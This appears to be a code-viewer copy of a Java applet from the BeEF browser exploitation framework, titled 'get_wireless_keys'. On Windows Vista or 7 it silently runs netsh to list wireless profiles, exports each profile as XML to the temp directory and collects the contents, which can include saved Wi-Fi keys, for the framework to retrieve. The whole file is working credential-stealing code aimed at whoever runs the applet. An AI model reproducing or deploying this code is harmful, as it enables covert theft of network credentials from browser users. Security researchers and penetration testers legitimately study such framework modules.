Path: blob/master/modules/host/get_wireless_keys/wirelessZeroConfig.java
1154 views
/*1* Copyright (c) 2006-2025Wade Alcorn - [email protected]2* Browser Exploitation Framework (BeEF) - https://beefproject.com3* See the file 'doc/COPYING' for copying permission4*/56import java.io.*;7import java.util.*;8import java.net.*;9import java.applet.*;1011// Keith Lee12// Twitter: @keith5513// http://milo2012.wordpress.com14// keith.lee2012[at]gmail.com1516public class wirelessZeroConfig extends Applet{17public static String result = "";1819public wirelessZeroConfig(){20super();21return;22}23public static String getInfo() {24return result;25}2627public void init() {28if (isWindows()) {29String osVersion= System.getProperty("os.version");30if(osVersion.equals("6.0") || osVersion.equals("6.1")){31result=getWindows();32}33} else {34result = "OS is not supported";35}36}3738public static String getWindows(){39String cmd1 = "netsh wlan show profiles";40String cmd2 = "netsh wlan export profile name=";41String keyword1 = "User profiles";42String wlanProfileArr[];43String wlanProfileName;44int match = 0;45int count = 0;46ArrayList<String> profileList = new ArrayList<String>();47try {48//Get wlan profile names49Process p1 = Runtime.getRuntime().exec(cmd1);50BufferedReader in1 = new BufferedReader(new InputStreamReader(p1.getInputStream()));51String line = null;52//Checks if string match "User profiles"53while ((line = in1.readLine()) != null) {54//Checks if string match "User profiles"55if(match==0){56if(line.toLowerCase().contains(keyword1.toLowerCase())){57match=1;58}59}60if(match==1){61if(count>1){62//If string matches the keyword "User Profiles"63line = (line.replaceAll("\\s+$","").replaceAll("^\\s+", ""));64if(line.length()>0){65wlanProfileName = (line.split(":")[1]).replaceAll("\\s+$","").replaceAll("^\\s+", "");;66profileList.add(wlanProfileName);67}68}69count+=1;70}71}72in1.close();73} catch (IOException e) { }7475try{76String tmpDir = System.getProperty("java.io.tmpdir");77if ( !(tmpDir.endsWith("/") || tmpDir.endsWith("\\")) )78tmpDir = tmpDir + System.getProperty("file.separator");7980//Export WLAN Profile to XML file81for(Iterator iterator = profileList.iterator(); iterator.hasNext();){82String profileName = iterator.next().toString();83Process p2 = Runtime.getRuntime().exec(cmd2+'"'+profileName+'"');84//Check if exported xml exists85File f = new File(tmpDir+"Wireless Network Connection-"+profileName+".xml");86if(f.exists()){87//Read contents of XML file into results variable88FileInputStream fstream = new FileInputStream(f);89DataInputStream in2 = new DataInputStream(fstream);90BufferedReader br = new BufferedReader(new InputStreamReader(in2));91String xmlToStr;92while((xmlToStr = br.readLine()) != null){93result+=xmlToStr;94}95in2.close();96}97}98} catch (IOException e) {99}100return result;101}102103public static boolean isWindows() {104String os = System.getProperty("os.name").toLowerCase();105return (os.indexOf("win") >= 0);106}107108/**109public static void main(String[] args) {110if (isWindows()) {111String osVersion= System.getProperty("os.version");112System.out.println(osVersion);113if(osVersion.equals("6.0") || osVersion.equals("6.1")){114result=getWindows();115}116} else {117result = "OS is not supported";118}119System.out.println(result);120}121**/122}123124125